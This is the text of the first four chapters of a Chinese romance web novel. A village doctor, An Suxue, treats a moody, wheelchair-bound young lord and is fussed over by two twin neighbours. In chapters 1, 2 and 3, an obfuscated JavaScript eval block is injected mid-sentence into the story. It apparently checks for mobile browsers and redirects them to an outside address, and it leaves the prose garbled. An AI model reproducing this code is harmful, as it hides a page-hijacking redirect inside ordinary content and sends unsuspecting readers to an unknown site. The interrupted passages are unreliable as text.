《和四个竹马的那些年》 1. 第 1 章 “滚,都滚!” 屋里噼里啪啦一阵瓷器碎裂之声后,匆忙从房间里出来一道纤细身影,一手拎着个药箱,另外一只手急匆匆的扶住门框,才不至于因脚步急促而被高高的门槛绊倒。 下意识的回过头,正好看见一地的碎瓷,轮椅的轱辘直接从上面碾过。 不会颠吗? 她胡思乱想,不经意的往上抬头,对上阴鸷的目光。 安素雪害怕的心跳加速,连忙垂下脑袋。 才在外面站定,就有人紧随而至,是个丫鬟打扮的女子,名唤红袖。 “安大夫,抱歉,我家公子今日心情不好,这是今日药钱。” 说着拿出来几块碎银子,作势就要往安素雪手里塞。刚触碰到安素雪的手,手心里微微的薄茧让丫鬟诧异。瞧着安大夫芳华正好的年纪,容貌嫩生如花,怎么手这样? 但也只是一瞬,红袖没心思管别人家的事情。 “今日谢公子没上药,所以不需要给钱的。”安素雪推辞。 红袖高看了她一眼。 这等小城自然都不富裕,红袖也知道自己给的钱多,换谁来都会心动。可没想到她竟然不收,还笑着道:“等谢公子什么时候方便了,你再叫我来。” 笑起来的姑娘容貌更盛,眼睛弯弯像是一轮明月,清澈干净无半点杂念。 红袖打量她片刻,不像是有歪心思的人。就算有歪心思,在她眼皮子底下也翻不出什么浪。 “添香,送送安大夫。” 院门砰的关上,朱红漆门映的妙龄女子面庞也红彤彤的,甚至觉得她漂亮的眼眸红了一圈。 “安安,你怎么了?”不知从哪窜出来个人,面相生的周正,高挑的身量弯着腰,执意要看安素雪的脸。 “我没事。”安素雪胡乱的用指腹抹了一下眼睛,抬头时展开笑颜,“方才有小飞虫。” “我帮你看看。” “罗武,不用的。” 她顺口胡说,哪里有什么小飞虫。偏偏罗武信以为真,贴着她的脸,“我帮你吹吹。” 罗家就在她家隔壁,俩人算是青梅竹马一起长大,关系如同手足。平日里,罗武也总是会来医馆找她,看她切药材能看上一天。 罗家双生子一动一静,罗文就甚少出现,安素雪觉得大抵是罗武太无聊了吧。 “好啦,应该没问题了。”安素雪开口,罗武才恋恋不舍的松开她,还伸胳膊献殷勤,“安安,你用我的袖子擦脸吧。” 褐色衣袖上沾了油花,安素雪嫌弃的摇头:“不了,我得赶紧回去,家里还有挺多事需要我帮忙。” “我同你一起。” 他们就住在对面那条街上,晌午时候人来人往,俩人并肩而行,可谓是郎才女貌。 罗家酒旗飘飘,旗下站着一人,除了身上衣服不一样外,简直和罗武一个模子里刻出来的。 春日时节正是酿酒忙碌时候,罗武偷跑出去,哥哥罗文不用猜便知道他去做什么了,肯定像是一条家狗似的,眼巴巴趴在门口等安素雪。 果然,二人迎面走来。 安素雪总是一副笑盈盈的模样。 “罗文哥。” 双生子都比她年长一岁,按理来说都要喊一声哥。罗文稳重,叫哥无可厚非,但罗武嘛,小时候调皮,总是惹哭她,然后让哥哥罗文来善后,负责哄好安素雪。 三个人打打闹闹一起长大,一个叫哥,一个直接叫名字,都已经成了习惯。 原本看向弟弟眼神嫌弃的罗文,在听见甜糯的声音后,眼神不自觉温柔几分。 “安安今日看诊可顺利?” 街对面新搬来一户人家,似乎腿脚有毛病,不见那人出来。倒是请了大夫过去,但连着换了几个大夫都被赶走,据说那位公子性子着实阴晴不定。 直到安素雪登门。 罗文猜测是她脾气好性子软又心灵手巧,最是讨人喜欢,所以才用她来做事。 “今天没换药,谢公子不方便。”安素雪没有多说,罗文点点头,转而拍罗武的脑袋。 “快进去干活,否则娘亲自来找你。” 罗武嘟嘟囔囔不情不愿的走了,罗文却站在门口没动,他视线落在安素雪的手腕上,皱眉道:“手腕怎么红了?” 他们两兄弟看着她长大,当年那个粉雕玉琢的女娃娃,出落的亭亭玉立,皓腕纤细,楚楚动人。只是此刻凝白如玉的腕子上落了一圈红,很明显是被人捏的。 “那个姓谢的弄的?”罗文语气不善。 这条街是本城最繁华的街道,沿街铺子和住宅都贵的惊人。他们俩家是因为祖宅在此才能得以落脚,否则现在购买宅院也得好生掂量一番。 对街那个大宅子空了许久,一是因为要价太高无人问津,二是因为占地太广,四进四出的宅子,寻常人家都住不满。 上个月的某天,那户人家住了人,门口清理的干干净净,大门也重新上了漆,摆放两只石狮子,门上也缀了灯笼,瞧着喜气洋洋像是过年似的。 但不见有人出来,显得格外怪异。 刚开始不知道其任何消息,后来安素雪去看诊,才知道主子姓谢,是个年轻的郎君。 前几天有丫鬟模样过来买酒,罗母和她们闲聊得知,谢公子腿脚不好,罗母还好心推荐了酒水,说喝完能活血化瘀。 昨个又来买,因为买的多,罗文帮忙送过去,瞧见坐在轮椅上的谢公子,脸色苍白眼神阴郁,瞧着不像是好人。 安素雪是个性子娇憨的姑娘,她垂着眸子未言语,罗文更加确定是谢公子弄的。 “还有哪里?”罗文脸上的担忧化作实质,捞过她的胳膊,将袖子轻轻往上推了推,“安安,他性格古怪,你还是少和他接触,下次让陈叔去看诊吧。” 他指腹落在细嫩的皮肤上,安素雪缩了缩脖子。 “疼?” “有点痒。” 罗武性子跳脱,从小就挨打,有时候罗母打的狠了,后背手臂上全是交叉的红肿。安素雪手腕红痕与之相比,简直是小巫见大巫。 弟弟受伤不见当哥的心疼过,此刻罗文眉头却一直皱着,道:“你随我来,我帮你上药。” “没事的,只是有点红而已,罗文哥,我得回去了,一会小弟该闹腾,我得帮我娘带孩子。” 他们就在街道边站着,难免有人看过来,安素雪不觉得有什么,罗文却多有注意,放下她的手,嘱咐道:“若是一直不消肿,记得涂药。” “知道的,我走啦。”她挥挥手,脚步轻快,杏色的裙摆像是翩飞蝴蝶。 直到她的身影消失在陈家医馆门口,罗文才攥起手掌转身回家。 …… “看看谁回来了?” 前面是医馆,后头是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555083|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住人的房子,迈步进来,一股浓重的药香气。 说话的是坐在门口写药方的年轻姑娘,见安素雪笑着应声仿若听不懂阴阳怪气,她嘴角往下抿。 “今天的看诊钱呢?交出来。” “香玉,爹不是告诉你,安安出去看诊挣的钱都归她自己吗?安安,辛苦了,快回去歇歇。” 从药架子后方转过来个中年人,光从面相上看便知和陈香玉是亲父女。 安素雪如实告诉继父今日的情况,陈山让她回去歇着,等人走了,陈山语重心长道:“安安比你小两岁,你是当姐姐的,要多爱护妹妹才是。” “她算我哪门子的妹妹,我姓陈,她姓安。” 这话惹的陈山不悦。 当年安素雪的爹去了,婆家没人,她娘带着幼女回了娘家,隔年嫁给了陈山。但那时候安素雪太小,便留在外祖父母膝下抚养。 后来安家老两口也去了,安素雪便被接了过来。她随母亲姓,到了陈家也没改,但陈山拿她当亲生的,像是教陈香玉一样教她医术。 从小看着长大,就算不是亲生也有感情,每月给零花钱不说,还准许她出去看诊挣的钱自己留着。 “香玉,你这是说的什么话?” 陈山性子闷又老实,陈香玉拿捏住老爹的这点,哼了哼。 “本来就是,而且她去看诊开药拿的不是医馆里药材?那也是有成本的,怎么就不上缴诊费?哎呀爹,你就别管了。” 陈山又说了她几句,但陈香玉完全不往心里去。以前俩孩子还小的时候,也算是融洽,不知道怎么了,随着年岁增长,反而没小时候和睦了。 陈山叹气,拿女儿没办法,过来指点几句后继续处理药材去了。 陈家世代行医,在城中口碑极好生意兴隆,前院里各种药材不说,迈步进后院也随处可见正在晾晒的药材。 “娘,小弟睡了?” “嗯,睡着了,安安,今日如何?” “没上药,说哪日方便了再唤我去。” 她走过来坐在安杏花身侧,给正在熟睡中的娃娃掖被角。“现在天气古怪,早晚冻人,晌午还算暖和,多晒晒日光长身体。” 牙牙学语的年纪,胖乎乎的可爱。孩子集爹娘优点,生的好看极了,长大后肯定是街头巷尾最亮眼的郎君。 “你们姐俩眼睛生的像,”安杏花手里切草药的动作没停,刚过三十的妇人举手投足带着成熟韵味,更显安素雪的稚嫩和天真。 “人家说,一看你们就是姐弟。” “是啊,我们像娘嘛,多谢娘给我们姐弟生的好看。” “就你会说,小嘴抹了蜜似的。” 现在生活安稳富足,比在老家时强了千倍百倍,安素雪不是贪婪的人,守着母亲和弟弟,她已经觉得知足了。 接过安杏花手里的切刀,她动作利落的干活,正赶上邻居来串门,瞧见此幕,夸赞安杏花养了个好女儿。 “出落的好看又能干,都说小安大夫医术了得,杏花,你好福气啊。” 安杏花笑,眼睛里都是骄傲,嘴上却谦虚。 “哪里,素雪还小,还有的学呢。” 闲聊了几句,又扯到安素雪婚事上。 “要是我家有儿子,非得和你做姻亲不可,怎么样,最近可有相看的好后生?” 安杏花面色一变,有苦说不出。 2. 第 2 章 寻常人家的姑娘大多及笄时成亲,安素雪的及笄礼在今年秋日。也就是说,婚事早该置办了。 其实她容貌生的可人又在医馆长大,方方面面都是佳媳好人选。 可偏偏……偏偏…… 安杏花回忆起多年前那个算命先生的谶言。 他说她的女儿克夫克父,将来啊,是鳏寡孤独的命数。 当时安素雪才三岁,安杏花当即将算命先生打了出去,不叫他胡言乱语坏了家庭和睦。 可年底的时候孩子她爹就去了,转年开春祖父母也相继没了,安素雪是“克星”的名声开始在村子里流传开。 无法,安杏花只能带着女儿回娘家,还给她改了自己的姓。 一个女人养活孩子很难,经人介绍,安杏花嫁了陈山,把得来的十两彩礼交给自己父母,让他们帮忙带大安素雪。 没几年,老两口也去了。 安杏花开始害怕,不是害怕安素雪克自己,而是害怕真的如算命先生所言,她女儿往后孤独一生。 接孩子在自己身边悉心照顾,娇憨可爱的小姑娘逐年长大到亭亭玉立,时间久了,安杏花便将此事抛之脑后。 直到去年年底,开始有媒人上门说媒。 年华正好的姑娘家娇嫩的如一朵花,不少人都看中了这朵娇花,跃跃欲试的想要采撷。其中不乏城里高门大户,安杏花高兴的合不拢嘴,却在对方要生辰八字时偃旗息鼓,惴惴不安。 果然,那户家世最好的人家婉言说和他们公子生辰不合适,后来连续三家都如此说法,安杏花心凉了半截。 那些高门之间是相互通消息的,而且请的媒人也都是城里数一数二的名嘴,恐怕私下里已经传了出去,年底到现在开春,几个月过去,门槛冷冷清清,再无媒人上门了。 真是哪壶不开提哪壶。 安杏花表情讪讪,转了话题道:“安安还小呢,我和老陈想多留两年,你看香玉,比安安大两岁,怎么也得等姐姐定了人家再给妹妹说婆家。” “也是,这么懂事能干的姑娘可得多留两年,到时候嫁了人就得给婆家做事了。” 安杏花显然心不在焉。 晚上临睡前,对哄孩子的陈山道:“他睡了就放下,你来,我和你商量点事儿。” 她拍拍身侧的位置,那边陈山小心翼翼放下儿子,盖好被子又亲了几口,才走到床边坐下,作势捏她的腿。 “又腿疼了?” 早年落下的毛病,这些年陈山照顾的好时常针灸,基本不会再疼了。 “不是,哎呀,你手放下。”安杏花推他,让他坐好了,语气郑重道:“最近没人和你打听安安?” 陈家有俩宝珠似的女儿,附近人尽皆知,来买药的多会调笑一句他命好,还有人旁敲侧击的询问,大多数是问安安。 可最近不知道怎么了,竟然没人问了。 陈山表情有点不自然,摸了摸鼻子。 安杏花眼神失望,明白这是没有人打听的意思了。 “你别急,安安还小呢,你看香玉,今年十八了我都舍不得嫁出去,安安才十六,急什么啊,在家多呆两年不好吗?” “不是不好,是……唉。” 陈山明白她在担心什么了,搂住妻子温声道:“安安性子温柔医术又好,将来肯定能找好人家。” “她很聪明,学东西很快不说,又肯下苦功夫。最近我在教她们姐妹针灸之术,安安比香玉学的快。” 很明显是转移妻子的焦虑,安杏花还真接话了,嗔怒道:“你还敢说,安安每天练到很晚才休息,今儿早上我看见她手指上多了好几个针孔。” 陈山哭笑不得。 …… 因为铺子就在最繁华的主街上,因此各家的生意都算是不错,陈家医馆每日来往的顾客不少,原本是雇了个药童帮忙抓药记账的,但陈香玉觉得浪费钱,说是她来做事,到时候给她开工钱就成。 安杏花是继母,对陈香玉无关痛痒的要求都会答应。 坐在铺子里,来往的人都会夸一句陈山家女儿能干,每每这时候陈香玉便会斜眼看安素雪,等着她嫉妒的眼神。 可哪里想到便宜妹妹正认真抓药,压根就没往她这看。 “熬药的顺序方才可听清了?” 柜台外的年轻郎君红着脸点头,他是来给母亲抓药的,前几次安素雪不在,这次很幸运赶上她在医馆。他小心翼翼的接过药包,听得妙龄女子悉心嘱咐,连连点头,时不时偷看她一眼。 笑意盎然的姑娘像是春日灿烂时绽放的鲜花,不管谁来都会第一个看见她。 陈山叨咕:“怎么今天抓药看诊的都比往天多了?” 性子淳朴的安素雪摇头,“我也不知,可能早晚冷晌午热,一冷一热的叫人头脑发昏不舒服,所以来看诊。” 有可能。 陈山认同了这个说法。 趁着闲暇时候继续教两姐妹针灸。 医馆里有个半人高的木头人,做的和人体无异,上面也和人体经络似的各种线条和穴位,陈山从小跟着祖父和父亲学医,经验丰富手法扎实,就是为人太过老实嘴也笨,有时候教学过程说不明白,惹的陈香玉烦躁说不学了。 “我知道了,意思是下针的时候尽量快和准,这样减少病患的痛苦和恐惧,对吗?” 陈山笑呵呵说是,夸赞道:“安安聪明!” 一旁的陈香玉偷偷翻了个白眼。 又不是自己的种,再聪明有什么用。 有人来看诊,陈山会让姐妹俩先后诊脉,二人从小就跟着陈山学,诊脉结果大差不差。 “吃多积食了,一会带点山楂丸回去,一天嚼两颗,两天就好。”陈香玉松开诊脉的手,轮到安素雪来看诊时她没起身,就坐在凳子上一动不动。 安素雪也没要求她起身,而是来到病患面前,弯腰仔细查看。 陈山不由得点头。“望闻问切,安安做的很好,香玉你要好好学,行医治病是大事,莫要含糊。” “确实是积食,”安素雪看完后给出诊断,但没等说完就被陈香玉打断,“搞那么多架势,不还是和我看诊的结果一样。” 说完陈香玉起身就走了,去后院看熬的药。 “不过你是不是吃了冬日囤的东西?嘴巴里有点溃烂,胃里也有火,光消食可不行,还要多喝水或者开一副去火的汤药。” 那人惊讶:“安大夫怎么知道?我昨日用去年腊肉煮了粥,晚上肚子就不舒服,今天一早就赶忙来看病。” 安素雪莞尔一笑:“我是大夫,自然能看出来的,你先坐,让陈叔再帮你仔细检查一下。” 抓了药送走病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555084|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 患,陈山像是以前那样找补。“香玉就是嘴巴厉害,安安,你别和她一般见识。” 说完不见安素雪回应,她眼睛朝外看,陈山便顺着视线看过去,发现罗家两兄弟分别拎着两坛子酒水,跟在一个女子身后,朝着对街去了。 “谁家买这么多酒?” “好像是谢家,前面的是谢公子的丫鬟,唤作添香的。” 说起谢公子,陈山想起来了,“今日要去吗?我去吧。” 之前来人请大夫,陈山忙不开,便叫安素雪去了,后来才知道就是对街新来的那户人家。详细询问得知病患是年轻的公子,似乎因为中毒导致不良于行,腿部没有任何知觉。除此之外,身上还有一些外伤,请大夫就是为了上药和开补身体的方子。 “不知道要不要我去,红袖姑娘说如果需要的话会派人来叫我。” …… 谢府大门打开,添香领着罗家双生子往里走。一路上看见不少仆从,罗武暗暗咂舌,小声道:“哥,这么多侍候的人,那个谢公子到底什么来路啊?” 前面带路的添香回头看了一眼。 罗文低声呵斥只长身体不长脑子的弟弟:“闭嘴。” 谢府宅子太大了,他们跟着绕来绕去,拎着酒坛子的手开始发酸,才到了地方。 “放在这就成。”添香指着厨房道。 大宅院的厨房也比一般人家的宽敞明亮,有两个厨子正在里面炒菜做饭,浓香阵阵,勾的罗武咽了咽口水。 往外走时候添香随便叫了个人送他们,罗武笑呵呵说能找到出去的路,那丫鬟笑而不语,只比划了个请的手势。 罗文无奈摇头。 人家不是怕你找不到路,是怕你在宅院里乱逛。 一路无言跟着走,路过一处月牙拱门时听见一阵奇怪的响动。 罗武看过去,初春时节城里乍绿嫩黄,谢府的花园却已经万紫千红一片。在满园春色当中坐着个面容清隽的青年,眉如远山黛,鼻若悬山挺,风姿俊秀,华贵非凡。 罗武愣了愣,他是第一次见谢公子,罗文却是见过一次的,因此没有弟弟失态,他甚至朝着那边笑着抱拳,道:“谢公子。” 青年抬起眼,眼神淡淡的扫了过来,又很快移开,手扶在轮椅上,一阵轱辘声后,消失在花坛后。 罗武:“哎,怎么走了,我还想和他说几句,让他多照顾……唔……” 一根筋的弟弟被他亲哥捂着嘴拽走了。 “对方前呼后拥,非富即贵,莫要多说话惹人嫌。” 罗武不服,觉得哪有那么多规矩。 回到自家铺子,罗武嘟囔:“安安总去给他看诊,估摸着是治腿,我寻思和谢公子说上几句话,让他多照看安安,总觉得他脾气不好,安安会受委屈。” 罗文点着他脑袋。 “若真是如此,你岂不是坏她的事?” “坏什么事?” 看着弟弟和自己一样的样貌,却是一脸天真的蠢样,罗文摇头。 “你没救了。” 嘁了一声的罗武走了,说是要去找安安。 到的时候医馆只有陈山在,看见罗武,陈山问:“来找安安吧?她刚去谢家了,一会回来。” 想到那位谢公子面色惨白阴暗如男鬼的模样,罗武皱起眉头,总有不好的预感。 3. 第 3 章 跟着陈山学习多年,安素雪看病的本领还算不错,寻常的头疼脑热不在话下。所以,城里大户人家请大夫上门时,安素雪也经常被请过去。 印象最深的是一户王姓人家,家中是做大生意的富户,宅院气派宽敞,仆从前呼后拥。 但和谢家相比,似乎就入不得眼了。 安素雪是被红袖亲自请来的,即便来过多次,安素雪也不曾好好看过这处宅院,她举止得体,行走之时只看脚下,从不会乱看。 正因为如此,红袖才放心让她给主子看诊。 一路往里,走了约莫一盏茶的功夫才到主院,刚迈过门槛,便嗅到一阵浓郁的血腥气,还听见有人低声痛苦呻~吟。 安素雪侧头,瞧见墙根底下面朝下趴着一个人,身穿深褐色的仆从衣裳,屁股位置衣服破烂露出被打的皮开肉绽的皮肤,血水往下滴,洇湿了身下的土地。 “他怎么了?”安素雪第一次主动同红袖说话。 以往都是问什么答什么,很少这样。 红袖皱眉,看着她脚步朝那人走去,她呵道:“安大夫莫要多管闲事。” “可他这样很危险,伤口必须及时处理才行。” 她出于当大夫的同理心想要帮忙看伤口,脸上的焦急做不得假,可红袖却神色莫辨的看她,冷声道:“安大夫,请你来是给我们公子看诊,而不是其他人。” 一句话将安素雪心神拉回来,她这才注意到院子里其实站了不少人,但俱是脸色漠然,无动于衷的模样。 “是,还请红袖姑娘带我去见谢公子。” 安素雪不算聪明人,安杏花曾千叮咛万嘱咐,到了外面莫要多管闲事。 这是谢家的事,她不可插手。 红袖重新展露笑颜,带着安素雪来到主屋,轻敲房门,片刻听见一声低沉的“进”。 随后红袖打开门,让安素雪进去。 他们公子不喜欢有太多人在,所以只能眼睁睁看着她一个人进去,再关好房门在门口守着。 刚过晌午,正是日头最亮最暖和的时候,屋内却昏暗一片。窗帘全部拉的严实,不透一丝光亮,隐有阵阵凉意。 顾不上胳膊冒出的鸡皮疙瘩,安素雪拎着药箱往桌子旁那人身边走,温声道:“谢公子,我来给你换药。” 桌子上点了一盏微弱的烛火,也不知谢家灯罩是什么材质,又薄又透,隐约能看见里面跳跃的烛火。 火光暗黄,照的青年的脸温润不少,看起来不再是瘦骨嶙峋的模样。 他垂着眸子,看不清他眼底的神色,安素雪很快错开视线,将药箱打开,需要的东西一一摆好。 “谢公子,请宽衣。” 他的伤在后背。 青年没动,若不是瞧见放在膝盖上的手在不停的点,差点以为他睡着了。 也是这一眼,安素雪看见他右手虎口处一道深深的伤口,血迹已经凝固发黑。 “谢公子,你的手……” “包扎。” 他坐在轮椅上,安素雪需弯腰上前,拿着干净纱布擦拭伤口附近的污血后,才发现这伤几乎要将他的虎口划开,伤可见骨。 十指连心,手受伤痛极了,他竟然能一声不吭。 “伤太深了,得缝合。”安素雪未做过这等事情,她直起身子道:“我去叫陈叔来,他有经验缝的好。” “你来。” “可我没有缝合过,谢公子,还是请陈叔来给你缝稳妥。” “我说,你来。” 他再次开口,言简意赅,不容拒绝。 抬起眼帘直直的看向安素雪,浓稠如墨,像是要将人困在里面似的。 “那……那我试试,不过还请谢公子体谅我没做过这种事情,若有不妥,请立刻请陈叔来。” 青年未答话,只将手抬起放在了桌子上。 如此简单的动作,又扯动伤口涌出一股鲜血,可他像是没事人一般,面上毫无表情,上挑的眉眼看着她。 “还不过来?” 这人……太能忍了。 她的药箱东西齐全,需要用的东西全部摆出来,还叫人送了热水过来,将需要用的针和剪刀烫了一遍,又用火烧针,末了取了烈酒蘸布擦拭干净。 “对了,还请红袖姑娘拿来两块干净木块,亦或者手帕,以防公子吃痛。” “红袖,你们都出去。” “公子?”红袖一脸担忧,她竟然不知道主子手上的伤这么深,哪里放心留安素雪一个人在。 青年抬眸,冷冷的看她,红袖只得说好,带人出去关好门。 深深呼吸一口气,拿着针线的手发抖,安素雪强自镇定。 “谢公子,我要开始了。” 轮椅上的青年颔首,好像即将要缝针的不是自己,他一副冷眼旁观的模样。 针尖扎入皮肉有些发滞,安素雪手上用劲,全神贯注于眼前。 她不知道,青年的视线落在她身上。 第一针的时候她手还在抖,可第二针第三针下来,竟然越发变得平稳。 圆润的眸子绽放出她自己都不知道的光彩,嘴上说着不敢下手,实际上跃跃欲试。 血如散落的珠子不断涌出来阻碍视线,安素雪心念合一,缝到最后越发的利落。等剪了线擦干净血撒药粉包扎好后,这才发现桌子上用来咬的木头没有动过的痕迹。 安素雪惊讶,朝身边之人看过去,便见他也在看她,波澜不惊的模样。 “结束了?”他甚至唇角勾了一下。 这人感觉不到痛吗? “嗯,缝好了,这几日莫要沾水,七天后我来拆线。” 她边说边在水盆里清理手上的血迹,血腥气不好闻,盆里的水霎时变红。 “公子,还有你背上的伤,也该换药了。” “右手不方便。”他声音淡淡的,低头看了一眼自己的腰带,什么意思不言而喻。 她帮他脱衣服? 安素雪脑子还沉浸在方才的兴奋里,而且他裸着上半身的样子都见过,医者面前无男女,所以没觉得有什么不妥,走过来弯腰,帮忙解他的腰带。 一身锦衣华服的人,腰带自然也不是普通玩意儿,上头镶嵌着各种宝石,安素雪不大认识,但也知道价值不菲,因此更加小心翼翼。 他坐在轮椅上不动,她只能从前面两只手环抱的姿势,去摸索他腰后的带子。倒是好找,只是怎么解开成了难事,胡乱的摸索,手指碰到他的腰侧,他低头,看向暴露在自己面前的雪白颈子。 引颈受戮的错觉。 片刻后,她因着急而呼吸急促几分,身上有种混合着药香的气味散出来,脸上浮现出坨红,一路红到脖子,像是雪白的玉里注了血,白里透红。 “第一次么?” 他忽然发声。 “嗯。” 她确实没给男子解过腰带,没想到这么麻烦。幸好,下一瞬她就弄明白了,顺利的解开,两只手捧着贵重腰带,小心翼翼叠放在桌子上。 人忽然离开,那股暖香就散了。 脱衣服就容易许多,春日里大家已经着了薄衫,他却多穿了一层。身体虚弱的人会怕冷,可以理解。 待衣服全部脱完之后,露出看过多次的上半身。 也是奇怪,明明他脸看着窄瘦,身上却没她想的那般皮包骨,甚至有一层薄肌。 很快处理好后背的伤,她收拾好药箱便准备离开。 “安姑娘。” “谢公子还有什么吩咐吗?” 谢骧身后有个软靠,是方才她拿给他的,生怕他不小心靠后碰到伤口。瞧着她年岁不大,倒是会照顾人。 “你是不是忘了什么?” 屋里比外面要冷一些,尤其是没穿衣服的他,薄瘦的腹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“桑白皮大多可被皮肉吸收,但还会有残留,过几日记得给谢公子拆线。” 俩人就谢家那位的病情探讨片刻,最后才想起来拿出今日看诊的费用。 是一个沉甸甸的银锭子,约莫五两。 “你留着,我说过,不管是你还是香玉出门看诊,挣的钱都归你们自己。” 陈香玉不在,也上门看病去了,陈山坚持,安素雪推辞不过,便将钱收起来。 来到后院,娘在哄弟弟睡觉,安素雪闲不住,把药材切好晾晒,她做事利落,哪怕只是切药的动作也赏心悦目。 如果没有人突然叫她的话。 “安安!” 中气十足的喊声,安素雪吓了一跳,手里的切刀差点没拿稳掉在地上。 抬头一看,陈罗两家中间的围墙上趴着个人,不是罗武又是谁? 他兴高采烈地挥舞右手,手上一把红红绿绿不知从哪摘来的鲜花。 从小就跳墙,墙头甚至有一处被磨的光滑,单手撑着跳下来的罗武顾不上整理自己,满心满眼朝安素雪跑来。 “安安,看,我给你摘的花。” 还未及冠的罗武身上带着少年和成熟男人之间的气质,不过因为性子跳脱,带几分孩子的憨厚天真。他裤腿上还沾着不知哪里蹭来的苍耳和枯草,却全然顾不上,一心一意的朝她奔来。 “好漂亮的花!” 刚入春,城里的柳树抽了嫩芽,但花花草草还没长起来,鲜少见到如此让人心情愉悦的鲜亮颜色,尤其是才从谢府出来,这把鲜花让缠绕在心头的阴郁之气一扫而空。 “送你!” 安素雪接过,笑弯了眼睛,连着说了两遍谢谢。 罗武脸红,不自在的道:“你喜欢就好。” 话音刚落,就听安素雪忽然惨叫,手里的鲜花脱手,她面色惨白直接哭出来。 “虫子!” 白玉似的手背上落了一条黑黢黢全身是毛的虫,还在扭动。 4. 第 4 章 安素雪的一声喊,把屋里的安杏花喊了出来,怀里还抱着被吵醒的弟弟。 “安安啊,你怎么了?来,让娘看看。” “娘,有虫子!”安素雪往亲娘怀里扑。 罗武一脸无措,讷讷地伸手,示意他已经将虫子摘下来了。安素雪埋头在安杏花怀里,闷声喊道:“拿走,快拿走。” “罗武啊,安安自小就怕虫子,尤其是这等毛多的虫,你忘了小时候你拿虫子吓唬她的事情了?” “安婶子,我不是故意的,我也不知道花里面有虫子。” 安杏花安抚了一会,安素雪收了眼泪,见弟弟小竹子一直盯着自己,她还有点不好意思,点了点弟弟的脸蛋,小孩快乐咯咯笑,露出一口乳牙。 小孩子的笑容最是有感染力,安素雪也跟着笑起来。 刚哭过的姑娘,眼角还带着泪花,所谓芙蓉泣露,不过如此。 罗武愣了愣,心中涌起熟悉的悸动。 “安安,对不起。”他再次道歉。 “没事的,你也不是故意的。” 安安就是如此温柔善良的姑娘,罗武看着她眉眼弯弯笑起来的模样想,如此美好的人,谁会不喜欢? 弟弟要睡觉,安杏花就抱着儿子回房了,罗文从高墙上跳下来,皱着眉头数落罗武。 “你都多大了,怎么还欺负安安?” 一句话将孪生弟弟定罪,转而温声安抚眼角还泛着红的姑娘,低声叙话,不复方才训斥弟弟的凌厉模样。 “街角那家新出的口脂,你喜欢的桂花味。” 罗武瞪大眼睛。 那不是他娘让大哥去买的口脂吗? 怎么成了专门给安安买的了?! 所以这次也和之前一样,罗武弄哭了安素雪,罗文过来善后,将小姑娘哄的破涕为笑。 从高墙翻回去,罗武阴恻恻的看他哥。 “做什么?”罗文满不在意的道:“难道不是你将安安吓哭了?” 罗武是个直性子,他急忙道:“我又不是故意的,哎,不对,我问你,那盒口脂不是你给娘买的吗?” “嘘。”俩人就站在墙根底下,甚至能听见逗弄小孩的声音。 “我们去那边说。” 最后罗武忘了自己要说什么,就被大哥派去送酒,不了了之。 …… 晚上,陈山在整理今日的进货单子。医馆的药材大多是从货行购买的,还有一部分是城外百姓采摘上门买卖,每一笔都在账目上体现清楚,方便查账。 “唉,进货价格又涨了。” 安杏花给儿子盖好被,从床榻里探出头,“涨多少?” “不多,就五文钱。”顿了顿陈山继续道:“这才刚开春,涨了两次。” 第一次涨三文钱,第二次是五文钱。说是外面世道乱了,药材的价格还会往上涨,因着成本高,其他医馆的开方子抓药也跟着涨,唯有陈家医馆,还是原来的价格。 所以最近陈家医馆生意格外的好,三个会看诊治病的人忙碌起来,每天都有人请上门。 安杏花道:“都说世道乱了,昨个儿和隔壁聊天,她说南边有乱党,也不知道怎么的,这么久了朝廷还没处理好。” 陈山合上账本道:“去年年底时候新皇登基,说不定没站稳,算了,这不是普通老百姓能操心的,这几天我多问问,看谁家的货便宜囤一批,若是真打到这,咱们也心里有底。” “应该不能,咱们在北边,一南一北跨越千里,哪能过来。对了,那个亲戚是不是快到了?” 年底时候收到一封远亲的信,说他儿子要过来投奔他们。陈家在本地有不少亲戚,这位远亲安杏花倒是第一次听说。 原来是陈山母亲那边的亲戚,算下来早就出了三服,只能勉强算远亲罢了。陈山记得对方似乎当了官,两家多年不曾来往,突然收到信还很吃惊。 信中说他的儿子要过来,请陈家帮忙照料。 与信一起来的,还有一张百两银票。 一百两可不是小数目,安杏花好奇问对方是什么官,陈山回忆好一会才想起来。“好像是在茶马司任职,具体什么职位不清楚。” 本朝和西戎吐蕃多有商贸来往,用茶换马,所以朝廷在边关建了茶马司,专门处理换贸事宜。 安杏花当时还说,看来油水颇丰。 陈山则是不打算用这个钱。 “信里说那孩子和安安同岁,咱们家不差这一双筷子,这钱到时候给孩子吧。” 安杏花其实不大乐意。 医馆看诊治病抓药不涨价也就算了,怎么多个人吃饭多开销,还不用人家的钱?何况对方是给了银票的。 但这话安杏花没说。 她和陈山成亲多年,了解陈山的性子,他就是个淳朴老实心肠好的善人,否则当初她也不会嫁给他。 他对待安素雪视如己出,已经让安杏花欣慰了。 罢了,徐徐图之。 